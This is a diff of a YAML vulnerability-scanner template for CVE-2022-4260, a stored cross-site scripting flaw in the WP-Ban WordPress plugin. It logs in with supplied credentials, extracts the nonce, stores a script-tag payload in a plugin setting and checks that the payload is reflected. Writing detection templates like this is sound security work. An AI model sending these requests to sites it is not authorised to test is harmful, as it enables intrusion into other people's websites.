diff --git a/cves/2022/CVE-2022-4260.yaml b/cves/2022/CVE-2022-4260.yaml index 698de995f0..15e66ccb69 100644 --- a/cves/2022/CVE-2022-4260.yaml +++ b/cves/2022/CVE-2022-4260.yaml @@ -1,11 +1,12 @@ id: CVE-2022-4260 info: - name: WP-Ban < 1.69.1 - Admin+ Stored XSS + name: WP-Ban < 1.69.1 - Admin Stored XSS author: Hardik-Solanki severity: high description: | The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). + remediation: Fixed in version 1.69.1 reference: - https://wpscan.com/vulnerability/d0cf24be-df87-4e1f-aae7-e9684c88e7db - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-4260 @@ -15,43 +16,51 @@ info: cwe-id: CWE-79 metadata: verified: "true" - tags: cve,cve2022,xss,wordpress,wp-plugin,wp-ban + tags: cve,cve2022,wordpress,wp-plugin,wp,xss,wp-ban requests: - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + + - | + GET / HTTP/1.1 + Host: {{Hostname}} + - | POST /wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1 Host: {{Hostname}} - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 - Accept-Language: en-GB,en;q=0.5 - Accept-Encoding: gzip, deflate - Referer: {{Hostname}}/wp-admin/options-general.php?page=wp-ban%2Fban-options.php - Content-Type: application/x-www-form-urlencoded - Origin: {{RootURL}} - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - _wpnonce=d65eec14d6&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28111%29%3B%3C%2Fscript%3E&Submit=Save+Changes - - - | - POST / HTTP/1.1 + + _wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&Submit=Save+Changes + + - | + GET / HTTP/1.1 Host: {{Hostname}} - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 - Accept-Language: en-GB,en;q=0.5 - Accept-Encoding: gzip, deflate - Referer: XSS + Referer: XSS - matchers-condition: and + host-redirects: true + max-redirects: 2 + cookie-reuse: true + req-condition: true matchers: - - type: word - part: body - words: - - "" + - type: dsl + dsl: + - 'contains(body_4, "")' + - 'contains(content_type_4, "text/html")' + - 'status_code_4 == 200' + condition: and - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 + extractors: + - type: regex + name: nonce + part: body + group: 1 + regex: + - '_wpnonce=([0-9a-z]+)' + internal: true